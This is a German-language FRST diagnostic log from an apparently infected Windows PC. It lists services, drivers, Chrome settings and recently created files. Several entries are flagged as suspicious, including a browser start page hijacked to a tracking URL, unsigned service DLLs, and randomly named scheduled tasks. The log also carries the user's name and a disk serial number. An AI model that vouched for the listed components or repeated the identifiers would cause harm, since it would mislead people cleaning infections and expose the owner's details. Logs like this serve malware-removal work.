CHR HKLM-x32\...\Chrome\Extension: [ehgldbbpchgpcfagfpfjgoomddhccfgh] - <kein Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Everness\Application\chrome.exe <==== ACHTUNG

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
S4 AppleAppSvc; C:\ProgramData\Apple\Temp\upgrade.ini:ad [199682 ] () [Datei ist nicht signiert] <==== ACHTUNG
S4 AppleCloudSvc; C:\ProgramData\Apple\Common\Cloud\WinHelper.dll [108544 2017-04-26] () [Datei ist nicht signiert]
R2 BIT; C:\ProgramData\BIT\BIT.dll [1812992 2017-06-01] (TODO: <公司名>) [Datei ist nicht signiert] <==== ACHTUNG
S4 DbxSvc; C:\Windows\system32\DbxSvc.exe [42096 2016-12-21] (Dropbox, Inc.)
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [101528 2017-05-31] () <==== ACHTUNG
R2 igfxCUIService2.0.0.0; C:\Windows\system32\igfxCUIService.exe [365048 2016-10-07] (Intel Corporation)
R2 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [387144 2016-02-04] ()
S2 MCSvc; C:\Windows\System32\svchost.exe [38792 2014-11-21] (Microsoft Corporation) <==== ACHTUNG (ServiceDLL nicht gefunden)
S2 MCSvc; C:\Windows\SysWOW64\svchost.exe [33088 2014-11-21] (Microsoft Corporation) <==== ACHTUNG (ServiceDLL nicht gefunden)
R2 MVCSrv; C:\ProgramData\Package Cache\{2A002F88-FD5D-379B-A350-A25D84AF128B}v14.0.25420\packages\VisualC_D14\VC_IDE.Base\VC_IDE_Base.dll [105984 2017-03-28] () [Datei ist nicht signiert]
S4 pgt_svc; C:\Program Files (x86)\ProxyGate\MainService.exe [2285664 2017-02-22] (Gold Click Ltd) <==== ACHTUNG
S2 SpyHunter 4 Service; C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe [665768 2016-11-16] (Enigma Software Group USA, LLC.)
S4 srcsrv; C:\Windows\src_srv\winsrcsrv.exe [17920 2017-05-29] () [Datei ist nicht signiert]
R2 ss_conn_service; C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe [754784 2016-07-22] (DEVGURU Co., LTD.)
S4 SysLinkMapper; C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412\winnetsvces.exe [9216 2017-04-18] () [Datei ist nicht signiert]
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10888944 2017-04-25] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-01-12] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-01-12] (Microsoft Corporation)
R2 WinSAPSvc; C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc\WinSAP.dll [1886720 2017-06-01] () [Datei ist nicht signiert] <==== ACHTUNG
S2 ZbezjService; C:\Windows\SysWOW64\srvany.exe [8192 2003-04-18] () [Datei ist nicht signiert]
S2 3DM; C:\Users\Nick Schuster\AppData\Local\3DM\Kitty.dll [X] <==== ACHTUNG
S4 KingoSoftService; C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\KingoSoftService.exe "C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\checkupdate.exe"
S4 Kitty; C:\Users\Nick Schuster\AppData\Local\Kitty\Kitty.dll [X] <==== ACHTUNG
S2 kivojebi; C:\Program Files (x86)\0D8F6370-1479488272-81E4-3884-0071C2420BD3\kns20F0.tmp [X]
S4 Recover; C:\Program Files\Uninstall Information\FHND4RB6YGFG69477PK1CJU4XT48RPI\Odgt'YA#3N.exe [X]

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 DFX11_1; C:\Windows\system32\drivers\dfx11_1x64.sys [28008 2015-08-31] (Windows (R) Win 7 DDK provider)
S3 DFX12; C:\Windows\system32\drivers\dfx12x64.sys [29688 2015-11-12] (Windows (R) Win 7 DDK provider)
S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 dtlitescsibus; C:\Windows\System32\drivers\dtlitescsibus.sys [30264 2017-05-07] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\drivers\dtliteusbbus.sys [47672 2017-05-07] (Disc Soft Ltd)
S3 dtproscsibus; C:\Windows\System32\drivers\dtproscsibus.sys [30264 2017-05-25] (Disc Soft Ltd)
S3 esgiguard; C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [16432 2016-11-16] (Enigma Software Group USA, LLC.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [22704 2016-11-23] ()
R3 iaLPSS_GPIO; C:\Windows\System32\drivers\iaLPSS_GPIO.sys [35832 2014-06-03] (Intel Corporation)
R3 NETwNb64; C:\Windows\system32\DRIVERS\NETwbw02.sys [3526400 2017-03-09] (Intel Corporation)
S3 RTSUER; C:\Windows\system32\Drivers\RtsUer.sys [425216 2016-05-25] (Realsil Semiconductor Corporation)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-05-07] (Duplex Secure Ltd.)
S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 USBAAPL64; C:\Windows\System32\Drivers\usbaapl64.sys [51712 2011-02-18] (Apple, Inc.) [Datei ist nicht signiert]
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-02-10] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [274776 2017-01-12] (Microsoft Corporation)
R2 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-01-12] (Microsoft Corporation)
S3 dbx; system32\DRIVERS\dbx.sys [X]
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X] <==== ACHTUNG

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Drei Monate: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-05 10:15 - 2017-06-05 10:16 - 00036672 _____ C:\Users\Nick Schuster\Desktop\FRST.txt
2017-06-05 10:14 - 2017-06-05 10:14 - 02433536 _____ (Farbar) C:\Users\Nick Schuster\Desktop\FRST64.exe
2017-06-03 18:29 - 2017-06-03 18:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Wargaming.net
2017-06-03 18:05 - 2017-06-03 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-4f25-0
2017-06-03 18:05 - 2017-06-03 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3735-1
2017-06-03 18:00 - 2017-06-03 18:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\NetCtl
2017-06-03 17:56 - 2017-06-03 19:08 - 00000000 ____D C:\Games
2017-06-03 14:01 - 2017-06-05 10:15 - 00000000 ____D C:\FRST
2017-06-02 18:05 - 2017-06-02 18:05 - 00004044 _____ C:\Windows\System32\Tasks\{25FE2E5B-9255-99F0-1368-8A42E54326C9}
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6921-1
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-2583-0
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}
2017-06-01 19:22 - 2017-06-01 19:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Applemy
2017-06-01 18:05 - 2017-06-01 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-7817-0
2017-06-01 18:05 - 2017-06-01 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3a25-1
2017-06-01 12:05 - 2017-06-01 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-0b25-1
2017-06-01 12:05 - 2017-06-01 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-07f7-0
2017-06-01 12:00 - 2017-06-01 12:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\glory
2017-06-01 00:19 - 2017-06-01 00:19 - 00001996 _____ C:\Windows\System32\Tasks\fyKiuMkkXh
2017-06-01 00:14 - 2017-06-01 00:19 - 00000002 _____ C:\END
2017-05-31 18:05 - 2017-05-31 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-7411-1
2017-05-31 18:05 - 2017-05-31 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-49f5-0
2017-05-31 13:53 - 2017-05-31 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Applemy
2017-05-31 13:52 - 2017-05-31 13:52 - 00000000 ____D C:\Users\Public\Documents\Google
2017-05-31 13:52 - 2017-05-31 13:52 - 00000000 ____D C:\Program Files (x86)\Firefox
2017-05-31 13:46 - 2017-05-31 13:48 - 00000000 ____D C:\Program Files (x86)\Applemy
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{5dc62cb3-512c-0}
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{241B54D7-93B0-E37C-7209-B5C3B4A67434}
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1fc205d4-012c-1}
2017-05-31 12:05 - 2017-05-31 12:05 - 00023496 _____ C:\Windows\System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F}
2017-05-31 11:38 - 2017-05-31 11:38 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Obsidium
2017-05-31 11:36 - 2017-05-31 11:36 - 00000000 ____D C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412
2017-05-31 11:22 - 2017-05-31 11:22 - 00023032 _____ (Wiper Software) C:\Windows\system32\wiperrm.exe
2017-05-31 11:22 - 2017-05-31 11:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WiperSoft
2017-05-31 11:22 - 2017-05-31 11:22 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WiperSoft
2017-05-30 19:49 - 2017-05-30 19:51 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\{12A8CCFE-3C33-4995-BAD8-074E4C5B22FD}
2017-05-30 19:32 - 2017-05-31 13:53 - 00002326 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-05-30 19:32 - 2017-05-30 19:32 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Google
2017-05-30 19:23 - 2017-05-31 13:53 - 00002020 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 19:23 - 2017-05-30 19:23 - 00000000 ____D C:\Program Files\Mozilla Firefox
2017-05-30 13:59 - 2017-05-30 13:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Minerent
2017-05-30 13:58 - 2017-06-01 12:00 - 00000000 ____D C:\Program Files (x86)\Arucerther_
2017-05-30 13:58 - 2017-05-30 13:58 - 00000000 ____D C:\Users\Default\AppData\Local\AdvinstAnalytics
2017-05-30 13:58 - 2017-05-30 13:58 - 00000000 ____D C:\Users\Default User\AppData\Local\AdvinstAnalytics
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Users\Default\AppData\Roaming\Minerent
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Users\Default User\AppData\Roaming\Minerent
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Program Files (x86)\Arucerther
2017-05-30 13:56 - 2017-05-30 13:56 - 00006006 _____ C:\Windows\System32\Tasks\Coobeck Monitor
2017-05-30 13:56 - 2017-05-30 13:56 - 00000000 ____D C:\Users\Default\AppData\Local\Cerzaentfisuge
2017-05-30 13:56 - 2017-05-30 13:56 - 00000000 ____D C:\Users\Default User\AppData\Local\Cerzaentfisuge
2017-05-30 13:55 - 2017-05-30 13:55 - 00000000 ____D C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13
2017-05-30 13:55 - 2017-05-30 13:55 - 00000000 ____D C:\ProgramData\ddef39d292cf4b8ea43c256f14555ff3
2017-05-29 22:02 - 2017-05-29 22:02 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\FBTime
2017-05-29 22:01 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\943973b1-7343-1
2017-05-29 22:01 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\943973b1-6925-0
2017-05-29 22:01 - 2017-05-29 22:01 - 00003034 _____ C:\Windows\System32\Tasks\ttwifi
2017-05-29 22:00 - 2017-05-29 22:02 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AppTrailers
2017-05-29 22:00 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\gplyra
2017-05-29 22:00 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\gjtj1a4xugf
2017-05-29 22:00 - 2017-05-29 22:00 - 00016764 _____ C:\Windows\System32\Tasks\Quick Tharks Screen Saver
2017-05-29 22:00 - 2017-05-29 22:00 - 00003686 _____ C:\Windows\System32\Tasks\SoftUpgrade
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\devnull
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AdvinstAnalytics
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Program Files (x86)\SoftUpgrade
2017-05-29 21:59 - 2017-06-02 15:32 - 00003020 _____ C:\Windows\System32\Tasks\RunAtStartup
2017-05-29 21:59 - 2017-06-01 11:54 - 00000231 _____ C:\ServiceLog.txt
2017-05-29 21:59 - 2017-05-29 22:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck
2017-05-29 21:59 - 2017-05-29 22:01 - 00000000 ____D C:\Windows\src_srv
2017-05-29 21:59 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\yxuuo1zrzz4
2017-05-29 21:59 - 2017-05-29 22:00 - 00000000 ____D C:\Program Files (x86)\ProxyGate
2017-05-29 21:59 - 2017-05-29 21:59 - 00006038 _____ C:\Windows\System32\Tasks\Gerfety Renew
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\s0ac4g0fkg0
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Draveingplererward
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\ProgramData\VideoMemoryDiagnostic
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Program Files (x86)\Prfasaretaly
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Program Files (x86)\pccleanplus
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Babylon
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Babylon
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\ProgramData\Babylon
2017-05-26 18:05 - 2017-05-26 18:05 - 00000000 ____D C:\ProgramData\Electronic Arts
2017-05-26 17:40 - 2017-05-26 17:40 - 00000295 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Papierkorb.lnk
2017-05-26 09:40 - 2017-05-31 13:45 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\terana
2017-05-25 15:34 - 2017-05-25 15:36 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Pro
2017-05-25 15:34 - 2017-05-25 15:34 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtproscsibus.sys
2017-05-25 15:33 - 2017-05-25 15:33 - 00000000 ____D C:\ProgramData\DAEMON Tools Pro
2017-05-23 15:44 - 2017-04-27 15:11 - 00678592 _____ (Microsoft Corporation) C:\Windows\system32\msvcp120_clr0400.dll
2017-05-23 15:44 - 2017-04-27 15:10 - 00536768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcp120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:11 - 00869568 _____ (Microsoft Corporation) C:\Windows\system32\msvcr120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:10 - 00875712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr120_clr0400.dll
2017-05-23 15:42 - 2017-04-06 19:37 - 00445440 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-05-23 15:42 - 2017-04-06 19:16 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\wpd_ci.dll
2017-05-23 15:42 - 2017-04-06 18:50 - 01436672 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00434688 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-05-23 15:42 - 2017-04-06 18:35 - 01362432 _____ (Microsoft Corporation) C:\Windows\system32\gpsvc.dll
2017-05-23 15:42 - 2017-04-06 18:15 - 00358912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-05-23 15:42 - 2017-04-06 17:44 - 00087040 _____ (Microsoft Corporation) C:\Windows\system32\wpdbusenum.dll
2017-05-23 15:42 - 2017-04-02 16:49 - 00186880 _____ (Microsoft Corporation) C:\Windows\system32\dpapisrv.dll
2017-05-23 15:42 - 2017-04-02 15:40 - 02013016 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ntfs.sys
2017-05-22 21:24 - 2017-05-22 21:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2017-05-18 22:17 - 2017-05-18 22:17 - 01499368 _____ (Microsoft Corporation) C:\Windows\system32\WdfCoInstaller01007.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00716880 _____ (Microsoft Corporation) C:\Windows\system32\WinUSBCoInstaller.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00166288 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudmdm.sys
2017-05-18 22:17 - 2017-05-18 22:17 - 00131984 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudbus.sys
2017-05-18 17:00 - 2017-05-22 17:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CSHMDR
2017-05-15 16:30 - 2017-05-17 14:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CWASRE
2017-05-15 00:05 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\f9d60eee-68a5-1
2017-05-15 00:05 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\f9d60eee-5f71-0
2017-05-14 16:16 - 2017-05-23 15:34 - 00000000 _____ C:\Windows\SysWOW64\1
2017-05-14 12:05 - 2017-05-14 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4cc1-0
2017-05-14 12:05 - 2017-05-14 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4593-1
2017-05-13 20:17 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1aa64fd2-712c-1}
2017-05-13 20:17 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{02a407e1-212c-0}
2017-05-12 18:05 - 2017-05-12 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-5ad5-1
2017-05-12 18:05 - 2017-05-12 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ae5-0
2017-05-11 18:05 - 2017-05-11 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6671-0
2017-05-11 18:05 - 2017-05-11 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6115-1
2017-05-11 15:23 - 2017-05-11 15:23 - 00000000 _____ C:\Windows\SysWOW64\3333333
2017-05-11 15:22 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\1111
2017-05-11 15:22 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\00
2017-05-11 14:18 - 2017-04-28 23:15 - 07444824 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-05-11 14:18 - 2017-04-26 16:06 - 04169216 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-05-11 14:18 - 2017-04-16 12:23 - 02176584 _____ (Microsoft Corporation) C:\Windows\system32\combase.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01662096 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01063464 _____ (Microsoft Corporation) C:\Windows\system32\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 01135288 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 00803192 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01566032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\combase.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01213792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 00548032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 11:05 - 00612096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 10:51 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-05-11 14:18 - 2017-04-16 10:37 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-05-11 14:18 - 2017-04-16 10:36 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-05-11 14:18 - 2017-04-16 10:35 - 25741312 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-05-11 14:18 - 2017-04-16 10:18 - 05977600 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-05-11 14:18 - 2017-04-16 10:16 - 00862720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 10:10 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-05-11 14:18 - 2017-04-16 10:03 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 10:02 - 00145408 _____ (Microsoft Corporation) C:\Windows\system32\iepeers.dll
2017-05-11 14:18 - 2017-04-16 10:01 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 09:53 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-05-11 14:18 - 2017-04-16 09:52 - 01033216 _____ (Microsoft Corporation) C:\Windows\system32\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:49 - 20278272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-05-11 14:18 - 2017-04-16 09:47 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-05-11 14:18 - 2017-04-16 09:43 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:40 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-05-11 14:18 - 2017-04-16 09:40 - 00378880 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:37 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:29 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-05-11 14:18 - 2017-04-16 09:24 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 09:23 - 00128000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iepeers.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\rpcss.dll
2017-05-11 14:18 - 2017-04-16 09:22 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 09:17 - 00880640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:12 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 15250944 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-05-11 14:18 - 2017-04-16 09:10 - 00330752 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 04548608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-05-11 14:18 - 2017-04-16 09:08 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-05-11 14:18 - 2017-04-16 09:04 - 03241472 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-05-11 14:18 - 2017-04-16 09:02 - 00267776 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wincorlib.dll
2017-05-11 14:18 - 2017-04-16 08:53 - 13661184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-05-11 14:18 - 2017-04-16 08:50 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:40 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-05-11 14:18 - 2017-04-16 08:37 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-05-11 14:18 - 2017-04-16 08:34 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-05-11 14:18 - 2017-04-10 00:00 - 01548640 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys
2017-05-11 14:18 - 2017-04-10 00:00 - 00388448 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys
2017-05-11 14:18 - 2017-04-08 01:20 - 01375960 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-05-11 14:18 - 2017-04-07 15:56 - 01094656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-05-11 14:18 - 2017-04-02 18:41 - 00684544 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv2.sys
2017-05-11 14:18 - 2017-04-02 18:41 - 00414720 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\srv.sys
2017-05-11 14:18 - 2017-04-01 01:16 - 01968408 _____ (Microsoft Corporation) C:\Windows\system32\crypt32.dll
2017-05-11 14:18 - 2017-03-31 23:59 - 01612504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\crypt32.dll
2017-05-11 14:03 - 2017-05-11 17:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\NPASRE
